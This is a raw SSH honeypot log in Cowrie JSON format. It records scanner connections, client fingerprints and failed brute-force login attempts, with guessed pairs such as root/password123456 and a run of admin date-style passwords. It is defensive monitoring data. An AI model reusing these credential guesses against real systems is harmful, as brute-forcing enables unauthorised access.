{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":58214,"dst_ip":"159.203.135.109","dst_port":22,"session":"bae1398a4a57","protocol":"ssh","message":"New connection: 191.101.59.86:58214 (159.203.135.109:22) [session: bae1398a4a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:16.375295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:16.381253Z","src_ip":"191.101.59.86","session":"bae1398a4a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:16.476996Z","src_ip":"191.101.59.86","session":"bae1398a4a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzuser","password":"123","message":"login attempt [pzuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:16.983048Z","src_ip":"191.101.59.86","session":"bae1398a4a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:17.153570Z","src_ip":"78.44.192.210","session":"0f4ded05c233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:18.076436Z","src_ip":"191.101.59.86","session":"bae1398a4a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":47114,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8122750a413","protocol":"ssh","message":"New connection: 112.104.154.26:47114 (10.17.0.5:22) [session: b8122750a413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:25.264911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:25.270196Z","src_ip":"112.104.154.26","session":"b8122750a413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:25.458368Z","src_ip":"112.104.154.26","session":"b8122750a413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123456","message":"login attempt [root/password123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:26.240621Z","src_ip":"112.104.154.26","session":"b8122750a413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56414,"dst_ip":"159.203.135.109","dst_port":22,"session":"e106746dcbc1","protocol":"ssh","message":"New connection: 103.172.78.219:56414 (159.203.135.109:22) [session: e106746dcbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:26.881330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:26.887261Z","src_ip":"103.172.78.219","session":"e106746dcbc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:27.159311Z","src_ip":"103.172.78.219","session":"e106746dcbc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:27.432939Z","src_ip":"112.104.154.26","session":"b8122750a413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lolololo","message":"login attempt [root/lolololo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:27.979294Z","src_ip":"103.172.78.219","session":"e106746dcbc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:29.255003Z","src_ip":"103.172.78.219","session":"e106746dcbc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":24059,"dst_ip":"159.203.135.109","dst_port":22,"session":"167d83981c89","protocol":"ssh","message":"New connection: 2.57.121.112:24059 (159.203.135.109:22) [session: 167d83981c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:58.729083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:58.734014Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:58.834948Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040479","message":"login attempt [admin/040479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:59.313790Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040478","message":"login attempt [admin/040478] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:00.418719Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"040477","message":"login attempt [admin/040477] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:01.524305Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041998","message":"login attempt [admin/04041998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:02.636422Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"04041997","message":"login attempt [admin/04041997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:03.746189Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:04.851463Z","src_ip":"2.57.121.112","session":"167d83981c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56122,"dst_ip":"10.17.0.5","dst_port":22,"session":"b05b8a44ed78","protocol":"ssh","message":"New connection: 103.122.221.179:56122 (10.17.0.5:22) [session: b05b8a44ed78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:12.589819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:12.595978Z","src_ip":"103.122.221.179","session":"b05b8a44ed78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:12.855887Z","src_ip":"103.122.221.179","session":"b05b8a44ed78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bonanza","message":"login attempt [root/bonanza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:13.633881Z","src_ip":"103.122.221.179","session":"b05b8a44ed78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:14.896597Z","src_ip":"103.122.221.179","session":"b05b8a44ed78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":40102,"dst_ip":"10.17.0.5","dst_port":22,"session":"798e1687956e","protocol":"ssh","message":"New connection: 198.12.80.170:40102 (10.17.0.5:22) [session: 798e1687956e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:20.950927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:20.959519Z","src_ip":"198.12.80.170","session":"798e1687956e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:20.988028Z","src_ip":"198.12.80.170","session":"798e1687956e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Samsung@123","message":"login attempt [root/Samsung@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:21.151071Z","src_ip":"198.12.80.170","session":"798e1687956e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:22.181387Z","src_ip":"198.12.80.170","session":"798e1687956e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":48482,"dst_ip":"10.17.0.5","dst_port":22,"session":"362aafbb82c2","protocol":"ssh","message":"New connection: 147.45.211.215:48482 (10.17.0.5:22) [session: 362aafbb82c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:23.520313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:23.525805Z","src_ip":"147.45.211.215","session":"362aafbb82c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:23.698881Z","src_ip":"147.45.211.215","session":"362aafbb82c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20041987","message":"login attempt [root/20041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:24.220444Z","src_ip":"147.45.211.215","session":"362aafbb82c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:25.396862Z","src_ip":"147.45.211.215","session":"362aafbb82c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00957775115967,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:35.535360Z","src_ip":"79.139.59.21","session":"0d72be52a76c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":60942,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d53266a34c6","protocol":"ssh","message":"New connection: 40.83.182.122:60942 (10.17.0.5:22) [session: 9d53266a34c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.111159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.116363Z","src_ip":"40.83.182.122","session":"9d53266a34c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":60562,"dst_ip":"10.17.0.5","dst_port":22,"session":"242855fcbe47","protocol":"ssh","message":"New connection: 78.44.192.210:60562 (10.17.0.5:22) [session: 242855fcbe47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.186361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.192712Z","src_ip":"78.44.192.210","session":"242855fcbe47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:44:48.207309Z","src_ip":"40.83.182.122","session":"9d53266a34c6","protocol":"ssh"}
